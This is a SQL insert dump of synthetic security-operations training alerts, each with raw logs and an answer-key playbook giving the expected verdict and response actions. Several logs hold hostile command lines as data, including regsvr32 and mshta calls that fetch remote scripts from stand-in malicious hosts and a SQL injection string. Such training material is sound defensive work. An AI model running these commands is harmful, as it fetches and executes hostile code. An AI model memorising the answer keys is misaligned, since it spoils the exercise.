attempts\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Target IP for unauthorized access attempt\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PSExec was used for lateral movement within the network, indicating potential unauthorized access.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS'),
(655, 'Potential Data Exfiltration via FTP', 'high', 'Firewall', 'Unusual FTP traffic was detected, indicating possible unauthorized data transfer to an external IP.', 'Data Exfiltration', 'T1048', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T12:00:22Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.40\",\"dst_ip\":\"203.0.113.77\",\"username\":\"backupuser\",\"hostname\":\"backup-server\",\"domain\":\"ftp.example.com\"}', '2026-01-10 06:59:49', '2026-01-11 14:55:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP involved in suspicious FTP traffic\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"ftp.example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate FTP domain with no known issues\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the backup server\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP is involved in suspicious FTP traffic, suggesting potential data exfiltration.\"}', 'Intermediate', 'NDR', 5, 1, 'OT_ICS'),
(656, 'DNS Tunneling Activity Detected', 'medium', 'IDS', 'Unusual DNS queries detected, possibly indicating DNS tunneling for data exfiltration or command and control.', 'Data Exfiltration', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T03:15:14Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"198.51.100.88\",\"username\":\"\",\"hostname\":\"\",\"domain\":\"suspicious-dns.example.com\"}', '2026-01-10 21:24:29', '2026-01-11 14:55:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"suspicious-dns.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain used for DNS tunneling and data exfiltration\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"IP associated with suspicious DNS traffic\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in DNS tunneling activity\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The DNS queries to this domain are indicative of tunneling activity for data exfiltration.\"}', 'Intermediate', 'NDR', 5, 1, 'OT_ICS'),
(657, 'False Positive: Legitimate Software Update', 'low', 'EDR', 'A software update process was flagged as suspicious but verified to be a legitimate update from a trusted source.', 'Malware', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T04:22:33Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.60\",\"dst_ip\":\"\",\"username\":\"bsmith\",\"hostname\":\"laptop-03\",\"command_line\":\"C:\\\\Program Files\\\\Updater\\\\update.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-11 06:52:04', '2026-01-11 14:55:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash matches a known legitimate software update\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\Updater\\\\update.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Legitimate update process\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process was flagged due to unusual execution patterns but verified as a legitimate update.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS'),
(658, 'False Positive: Unusual Login Time', 'medium', 'SIEM', 'A login event occurred at an unusual time for the user, but investigation revealed it was a legitimate access.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T05:10:10Z\",\"event_type\":\"login_success\",\"src_ip\":\"192.168.1.70\",\"dst_ip\":\"\",\"username\":\"mjohnson\",\"hostname\":\"workstation-04\",\"failed_attempts\":0}', '2026-01-11 03:18:55', '2026-01-11 14:55:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.70\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"mjohnson\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Employee account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login was initially flagged due to the time but was confirmed as legitimate after user verification.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS'),
(659, 'False Positive: High Volume Web Traffic', 'low', 'Firewall', 'An alert was triggered for high volume web traffic, which was determined to be legitimate business activity.', 'Web Attack', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T06:45:50Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.80\",\"dst_ip\":\"203.0.113.200\",\"username\":\"\",\"hostname\":\"\",\"domain\":\"business-partner.com\"}', '2026-01-09 15:07:34', '2026-01-11 14:55:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Trusted partner domain with no security issues\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.80\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of a business unit\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"business-partner.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate business partner domain\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The traffic volume was high due to a scheduled data exchange with a business partner.\"}', 'Intermediate', 'NDR', 5, 1, 'OT_ICS'),
(660, 'Suspicious PowerShell Command with Encoded Payload', 'high', 'Splunk', 'A PowerShell script was executed using an encoded command, indicating possible obfuscation tactics.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.1.12\",\"dst_ip\":\"192.168.1.5\",\"username\":\"jdoe\",\"hostname\":\"CORP-WIN12\",\"command_line\":\"powershell.exe -enc ZQBlAGwAbABvACAAJwBoAGUAbABsAG8AdwBvAHIAbABkACcA\"}', '2026-01-09 15:31:43', '2026-01-11 14:56:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -enc ZQBlAGwAbABvACAAJwBoAGUAbABsAG8AdwBvAHIAbABkACcA\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell commands are often used for obfuscation by malware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell commands are a known indicator of malicious activity.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS');
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`) VALUES
(661, 'Multiple Failed Login Attempts Detected', 'medium', 'Wazuh', 'A foreign IP address attempted to log in 23 times unsuccessfully, indicating a brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.25\",\"username\":\"administrator\",\"hostname\":\"DC01\",\"failed_attempts\":23}', '2026-01-10 14:02:12', '2026-01-11 14:56:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common target for brute force attacks.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Frequent failed login attempts from a known malicious IP indicates a brute force attack.\"}', 'Advanced', 'SIEM', 7, 1, 'OT_ICS'),
(662, 'Malicious Email with Phishing URL Detected', 'critical', 'Proofpoint', 'An email containing a known phishing URL was received, potentially targeting user credentials.', 'Phishing', 'T1566.001', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T14:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.55\",\"email_sender\":\"no-reply@securebank.com\",\"username\":\"asmith\",\"hostname\":\"MAIL-SERVER\",\"url\":\"http://securebank-login.com\"}', '2026-01-11 10:11:51', '2026-01-11 14:56:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"url\",\"value\":\"http://securebank-login.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Phishing URL attempting to steal banking credentials.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"no-reply@securebank.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Spoofed domain resembling legitimate bank.\"}}],\"expected_actions\":[\"block_url\",\"notify_user\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Phishing URL detected in email, posing a threat to user credentials.\"}', 'Advanced', 'SIEM', 7, 1, 'FINANCE'),
(663, 'Lateral Movement via PSExec Detected', 'high', 'CrowdStrike', 'Suspicious PSExec activity detected, indicating potential lateral movement within the network.', 'Lateral Movement', 'T1569.002', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T16:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.1.15\",\"dst_ip\":\"10.0.1.20\",\"username\":\"svc_admin\",\"hostname\":\"SRV-APP01\",\"command_line\":\"psexec.exe \\\\\\\\10.0.1.20 -u svc_admin -p ******** -c cmd.exe\"}', '2026-01-10 21:33:29', '2026-01-11 14:56:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\10.0.1.20 -u svc_admin -p ******** -c cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"PSExec usage detected, commonly used for lateral movement by attackers.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PSExec usage from internal to internal IPs suggests lateral movement.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS'),
(664, 'SQL Injection Attempt on Public Web Application', 'high', 'IDS/IPS', 'A potential SQL injection attack was detected targeting the login page of a public web application.', 'Web Attack', 'T1505', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T17:00:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.60\",\"dst_ip\":\"192.168.1.30\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"url\":\"http://webapp.local/login\"}', '2026-01-10 00:59:01', '2026-01-11 14:56:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple web-based attacks.\"}}],\"expected_actions\":[\"block_ip\",\"monitor_application\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"SQL injection attempt detected via suspicious payload on login page.\"}', 'Advanced', 'SIEM', 7, 1, 'OT_ICS'),
(665, 'Data Exfiltration Detected via Suspicious Network Connection', 'critical', 'Firewall', 'A large amount of data was transferred to an external IP, indicating potential data exfiltration.', 'Data Exfil', 'T1048', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T18:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.2.14\",\"dst_ip\":\"198.51.100.75\",\"username\":\"nmartin\",\"hostname\":\"FILE-SRV01\",\"data_volume\":\"1.5GB\"}', '2026-01-10 00:24:48', '2026-01-11 14:56:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for numerous data exfiltration incidents.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.14\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in suspicious data transfer.\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Unusual data volume transferred to a known malicious IP suggests data exfiltration.\"}', 'Advanced', 'NDR', 7, 1, 'OT_ICS'),
(666, 'False Positive: Legitimate Certutil Activity Misclassified as Malicious', 'medium', 'SIEM', 'Certutil was executed on a user machine, typically flagged for potential malware download, but verified as a legitimate use case.', 'Malware', 'T1218.010', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T19:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.3.18\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jane.smith\",\"hostname\":\"HR-WORKSTATION\",\"command_line\":\"certutil.exe -addstore MyCompanyCert\"}', '2026-01-10 06:39:03', '2026-01-11 14:56:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"certutil.exe -addstore MyCompanyCert\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"This use of certutil is legitimate as part of company policy.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.3.18\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Certutil activity verified as legitimate based on internal policy use case.\"}', 'Advanced', 'EDR', 7, 1, 'RETAIL'),
(667, 'Suspicious Regsvr32 Execution Detected', 'high', 'EDR', 'Regsvr32 was executed with a suspicious scriptlet URL, typical of a fileless malware attack.', 'Malware', 'T1218.010', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T20:05:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.4.22\",\"dst_ip\":\"192.168.1.11\",\"username\":\"mroberts\",\"hostname\":\"DESKTOP-ROBERTS\",\"command_line\":\"regsvr32.exe /s /u /i:http://malicious.site/script.sct scrobj.dll\"}', '2026-01-10 11:54:15', '2026-01-11 14:56:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"regsvr32.exe /s /u /i:http://malicious.site/script.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Regsvr32 with URL pointing to a known malicious site.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.4.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Regsvr32 execution with external scriptlet URL suggests fileless malware activity.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS'),
(668, 'False Positive: Legitimate Application Misidentified as Malware', 'medium', 'EDR', 'A legitimate application was flagged as suspicious due to anomalous behavior, but verified as a false positive.', 'Malware', 'T1204.002', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T21:10:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.5.25\",\"dst_ip\":\"192.168.1.12\",\"username\":\"kclark\",\"hostname\":\"FINANCE-PC\",\"command_line\":\"C:\\\\Program Files\\\\LegitApp\\\\update.exe\"}', '2026-01-10 14:40:07', '2026-01-11 14:56:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\LegitApp\\\\update.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"The application is verified as legitimate and safe.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The flagged application was verified as legitimate and safe, confirming a false positive.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS'),
(669, 'Unauthorized Access Attempt on Database Server', 'high', 'SIEM', 'A potentially unauthorized access attempt was detected on a critical database server from an internal IP.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T22:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.6.33\",\"dst_ip\":\"192.168.1.13\",\"username\":\"dba_admin\",\"hostname\":\"DB-SERVER\",\"failed_attempts\":15}', '2026-01-10 10:37:44', '2026-01-11 14:56:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.6.33\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address attempting unauthorized access.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"dba_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common target for unauthorized access attempts.\"}}],\"expected_actions\":[\"reset_credentials\",\"monitor_user_activity\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Multiple failed login attempts indicate potential unauthorized access.\"}', 'Advanced', 'SIEM', 7, 1, 'TECH'),
(670, 'False Positive: Misinterpreted Network Activity as Data Exfiltration', 'medium', 'Firewall', 'Network activity flagged as potential data exfiltration was verified to be a legitimate backup process.', 'Data Exfil', 'T1048', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T23:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.7.44\",\"dst_ip\":\"192.168.1.14\",\"username\":\"backup.svc\",\"hostname\":\"BACKUP-SERVER\",\"data_volume\":\"2.0GB\"}', '2026-01-10 09:03:09', '2026-01-11 14:56:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.7.44\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address engaged in backup process.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"backup.svc\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Service account used for legitimate backup operations.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Network activity verified as legitimate backup process, confirming a false positive.\"}', 'Advanced', 'NDR', 7, 1, 'OT_ICS'),
(671, 'Suspicious Mshta Execution with Malicious Script', 'critical', 'EDR', 'Mshta was executed with a malicious remote script, indicating a potential fileless malware attack.', 'Malware', 'T1218.005', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T23:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.8.55\",\"dst_ip\":\"192.168.1.15\",\"username\":\"tjohnson\",\"hostname\":\"WORKSTATION-TJ\",\"command_line\":\"mshta http://malicious-site.com/malicious-script.hta\"}', '2026-01-10 20:15:05', '2026-01-11 14:56:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"mshta http://malicious-site.com/malicious-script.hta\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Execution of a remote HTA script, typical of fileless malware attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.8.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Mshta execution with external script URL suggests fileless malware activity.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS'),
(672, 'Suspicious Network Connection Detected from Internal to External Host', 'high', 'CrowdStrike', 'A connection attempt was detected from an internal host to a known malicious IP address used for command and control.', 'Malware', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.42\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"workstation01\",\"command_line\":\"powershell.exe -encodedcommand SGVsbG8gd29ybGQ=\",\"domain\":\"malicious-site.com\"}', '2026-01-11 03:07:07', '2026-01-11 14:57:23', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for command and control activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.42\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"malicious-site.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain associated with malware distribution\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The connection to a known malicious IP indicates a true positive for malware communication.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS'),
(673, 'Multiple Failed Login Attempts Detected from Foreign IP', 'medium', 'Wazuh', 'A foreign IP address has attempted to login into the corporate VPN with multiple failed attempts, indicating a possible brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:00:15Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.199.108.153\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"vpn-server\",\"failed_attempts\":25}', '2026-01-10 22:06:55', '2026-01-11 14:57:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported for multiple brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the VPN server\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The volume and origin of failed login attempts suggest a brute force attack.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS'),
(674, 'APT Command and Control Communication via Discord', 'critical', 'Splunk', 'Detected command and control traffic using Discord\'s infrastructure, commonly used by APT groups for stealthy communications.', 'Data Exfiltration', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:25:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.50.5\",\"dst_ip\":\"162.159.138.233\",\"username\":\"alice\",\"hostname\":\"laptop-23\",\"url\":\"https://discordapp.com/api/v9/channels/1234567890/messages\"}', '2026-01-11 12:40:32', '2026-01-11 14:57:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"162.159.138.233\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP associated with Discord C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.50.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://discordapp.com/api/v9/channels/1234567890/messages\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Discord API endpoint used for stealthy data exfiltration\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The use of Discord for C2 traffic is indicative of advanced threat activity.\"}', 'Expert', 'NDR', 9, 1, 'OT_ICS'),
(675, 'Phishing Attempt via Spoofed Domain', 'high', 'Proofpoint', 'A phishing email was sent to an employee with a spoofed domain mimicking a legitimate service to steal credentials.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.100\",\"dst_ip\":\"192.168.1.20\",\"username\":\"bsmith\",\"hostname\":\"mail-server\",\"email_sender\":\"support@microsfot.com\",\"url\":\"http://fake-login.microsoft.com\"}', '2026-01-10 19:17:54', '2026-01-11 14:57:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"support@microsfot.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Email address known for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://fake-login.microsoft.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL used for harvesting credentials\"}}],\"expected_actions\":[\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email and URL are indicative of a phishing attempt to harvest credentials.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS'),
